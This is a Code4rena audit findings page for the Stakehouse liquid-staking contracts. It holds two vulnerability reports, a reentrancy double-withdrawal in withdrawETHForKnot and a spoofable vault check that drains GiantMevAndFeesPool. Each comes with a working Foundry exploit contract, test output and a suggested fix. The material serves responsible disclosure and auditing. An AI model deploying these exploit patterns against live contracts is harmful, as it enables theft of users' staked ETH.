Platform: Code4rena
Start Date: 11/11/2022
Pot Size: $90,500 USDC
Total HM: 52
Participants: 92
Period: 7 days
Judge: LSDan
Total Solo HM: 20
Id: 182
League: ETH
Rank: 38/92
Findings: 2
Award: $232.65
🌟 Selected for report: 0
🚀 Solo Findings: 0
221.4628 USDC - $221.46
NodeRunners are required to stake 4 ETH per knot to the LiquidStakingManager in order to qualify as a noderunner.
Before the node runners staked eth gets pooled and goes to the LSDNetwork, noderunners can withdraw their 4 ETH for a given Knot; after which their Knot public key gets banned.
This bug allows Noderunners to withdraw 4 ETH per one knot multiple times before they get banned because of reentrancy. Effectively they can withdraw the 4 ETH for another knot that they registered for.
As for the severity, I can make a case for all three categories, please dear jude, decide (:
NewLSDValidatorRegistered
events and causing actors to call stake
will find a function of the code impacted (=mid).Below a forge test that registers 3 public keys for 3 knots with 12 eth and only invalidates one public key to withdraw all the eth (when it should only be 4 eth).
LSDNFactoryTest
in test/foundry/LSDNFactory.t.sol
function testNodeRunnerMultipleWithdrawalForOnePubkey() public { address house = address(new StakeHouseRegistry()); // setup attacker Attacker att = new Attacker(manager, blsPubKeyOne); address nodeRunner = address(att); uint256 nodeStakeAmount = 12 ether; vm.deal(nodeRunner, nodeStakeAmount); address eoaRepresentative = accountTwo; MockAccountManager(manager.accountMan()).setLifecycleStatus(blsPubKeyOne, 0); vm.prank(nodeRunner); manager.registerBLSPublicKeys{value: nodeStakeAmount}( getBytesArrayFromBytes(blsPubKeyOne, blsPubKeyTwo, blsPubKeyThree), getBytesArrayFromBytes(blsPubKeyOne, blsPubKeyTwo, blsPubKeyThree), eoaRepresentative ); MockAccountManager(manager.accountMan()).setLifecycleStatus(blsPubKeyOne, 1); manager.setIsPartOfNetwork(blsPubKeyOne, true); address nodeRunnerSmartWallet = manager.smartWalletOfNodeRunner(nodeRunner); assertEq(nodeRunnerSmartWallet.balance, 12 ether); vm.prank(nodeRunner); manager.withdrawETHForKnot(nodeRunner, blsPubKeyOne); // assertions prove that attack worked, invert for real tests ... assertEq(nodeRunnerSmartWallet.balance, 0 ether); // smart wallet has no ether left assertTrue(!manager.isBLSPublicKeyBanned(blsPubKeyTwo)); // pubKey2 not banned assertTrue(!manager.isBLSPublicKeyBanned(blsPubKeyThree)); // pubKey3 not banned emit log_named_string("attack", nodeRunnerSmartWallet.balance == 0 ? "worked" : "failed"); emit log_named_uint("attacker balance", address(nodeRunner).balance); }
test/foundry/LSDNFactory.t.sol
contract Attacker is TestUtils { MockLiquidStakingManager mgr; bytes pubKey; uint counter = 0; constructor(MockLiquidStakingManager _manager, bytes memory _pubKey) { mgr = _manager; pubKey = _pubKey; } // function that would "registerBLSPublicKeys" is left to readers imagination // receive call from smart wallets raw execute fallback() external payable { counter += 1; if (counter <= 2) mgr.withdrawETHForKnot(address(this), pubKey); } }
Please note: that as an attacker I wanted the test to pass. Maybe the protocol devs want to invert that ;).
yarn test -m testNodeRunnerMultipleWithdrawalForOnePubkey -v yarn run v1.22.19 $ forge test -vv -m testNodeRunnerMultipleWithdrawalForOnePubkey -v [â ‘] Compiling... No files changed, compilation skipped Running 1 test for test/foundry/LSDNFactory.t.sol:LSDNFactoryTest [PASS] testNodeRunnerMultipleWithdrawalForOnePubkey() (gas: 38507247) Logs: attack: worked balance: 12000000000000000000 Test result: ok. 1 passed; 0 failed; finished in 17.22ms
Foundry
Ban the public key before calling the smart wallet. In other words, exchange L347 and L338.
#0 - c4-judge
2022-11-21T14:09:06Z
dmvt marked the issue as duplicate of #113
#1 - c4-judge
2022-11-21T17:02:00Z
dmvt marked the issue as not a duplicate
#2 - c4-judge
2022-11-21T17:02:08Z
dmvt marked the issue as duplicate of #110
#3 - c4-judge
2022-11-30T12:56:35Z
dmvt marked the issue as satisfactory
#4 - c4-judge
2022-11-30T12:56:40Z
dmvt changed the severity to 3 (High Risk)
🌟 Selected for report: Jeiwan
Also found by: 0xdeadbeef0x, 9svR6w, JTJabba, Lambda, Trust, arcoun, banky, bin2chen, bitbopper, c7e7eff, clems4ever, datapunk, fs0c, hihen, imare, immeas, perseverancesuccess, ronnyx2017, satoshipotato, unforgiven, wait
11.192 USDC - $11.19
Function batchDepositETHForStaking
of GiantMevAndFeesPool
sends ETH to attacker controlled contract.
Above function intends to send out the ETH amounts defined in _ETHTransactionAmounts
variable only to "verified" contracts defined in _stakingFundsVault
variable.
The verification in https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L43-L46
however is faulty.
Attackers can pass the verification by creating a "fake" staking contract that returns the same address that a valid contract would return for a call to liquidStakingNetworkManager()
.
The subsequent query to isLiquidStakingManager
will provide the same answer for attacker controlled contracts as for valid staking vaults thereby allowing
to send out all the ETH avaiable to the GiantMevAndFeesPool
in the call in https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L48-L53
.
This can be used to drain all the ETH of GiantMevAndFeesPool
.
Add following to GiantPoolTests
in /tmp/2022-11-stakehouse-main/test/foundry/GiantPools.t.sol
.
function testAttackerControlledStakingMEVVault() public { // Set up users and ETH address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether); address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether); address savETHUser = accountThree; vm.deal(savETHUser, 24 ether); // Register BLS key registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour); // Deposit ETH into giant fees and mev vm.startPrank(feesAndMevUserOne); //manager.stakingFundsVault().depositETHForStaking{value: 4 ether}(blsPubKeyOne, 4 ether); giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether); vm.stopPrank(); // Deploy ETH from giant LP into savETH pool of LSDN instance bytes[][] memory blsKeysForVaults = new bytes[][](1); blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne); uint256[][] memory stakeAmountsForVaults = new uint256[][](1); stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether); // create attacker ILiquidStakingManager answerToFake = manager.stakingFundsVault().liquidStakingNetworkManager(); AttackerMEVPool att = new AttackerMEVPool(answerToFake); emit log_named_address("addr", address(att)); emit log_named_address("addr", address(att.liquidStakingNetworkManager())); assertEq(address(giantFeesAndMevPool).balance, 4 ether); stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether); giantFeesAndMevPool.batchDepositETHForStaking( getAddressArrayFromValues(address(att)), getUint256ArrayFromValues(4 ether), blsKeysForVaults, stakeAmountsForVaults ); emit log_named_uint("balance of attacker", address(att).balance); assertEq(address(att).balance, 0 ether); }
Ensure following definitions are available to GiantPoolTests
(add to .sol file).
interface RealStakingMEV { function liquidStakingNetworkManager() external returns (address); } contract AttackerMEVPool is TestUtils { ILiquidStakingManager public liquidStakingNetworkManager; constructor(ILiquidStakingManager _realStakingAnswer) { liquidStakingNetworkManager = _realStakingAnswer; } fallback() external payable {} }
Output of tests
yarn test -m testAttackerControlledStakingMEVVault yarn run v1.22.19 warning package.json: No license field $ forge test -vv -m testAttackerControlledStakingMEVVault [â ‘] Compiling... No files changed, compilation skipped Running 1 test for test/foundry/GiantPools.t.sol:GiantPoolTests [FAIL. Reason: Undefined.] testAttackerControlledStakingMEVVault() (gas: 38148228) Logs: addr: 0xefc56627233b02ea95bae7e19f648d7dcd5bb132 addr: 0x1069b7f603bfee9c76e2b4761a74e52c8b2bb8f1 balance of attacker: 4000000000000000000 Error: a == b not satisfied [uint] Expected: 0 Actual: 4000000000000000000 Test result: FAILED. 0 passed; 1 failed; finished in 15.95ms Failing tests: Encountered 1 failing test in test/foundry/GiantPools.t.sol:GiantPoolTests [FAIL. Reason: Undefined.] testAttackerControlledStakingMEVVault() (gas: 38148228) Encountered a total of 1 failing tests, 0 tests succeeded error Command failed with exit code 1. info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command.
Foundry
Register staking pools pools with the liquidStakingDerivativeFactory
.
This way one could check the staking pool address that is supplied to batchDepositETHForStaking
and not an answer the pool gives (and could fake).
I submitted a very similar vuln for GiantSavETHVaultPool
. Not sure how you want to count this. In any case the foundry tests are different and might be useful to the project. :)
#0 - c4-judge
2022-11-20T22:14:10Z
dmvt marked the issue as duplicate of #36
#1 - c4-judge
2022-11-29T15:35:36Z
dmvt marked the issue as satisfactory
#2 - C4-Staff
2022-12-21T05:40:16Z
JeeberC4 marked the issue as duplicate of #36
#3 - liveactionllama
2022-12-22T08:48:18Z
Duplicate of #251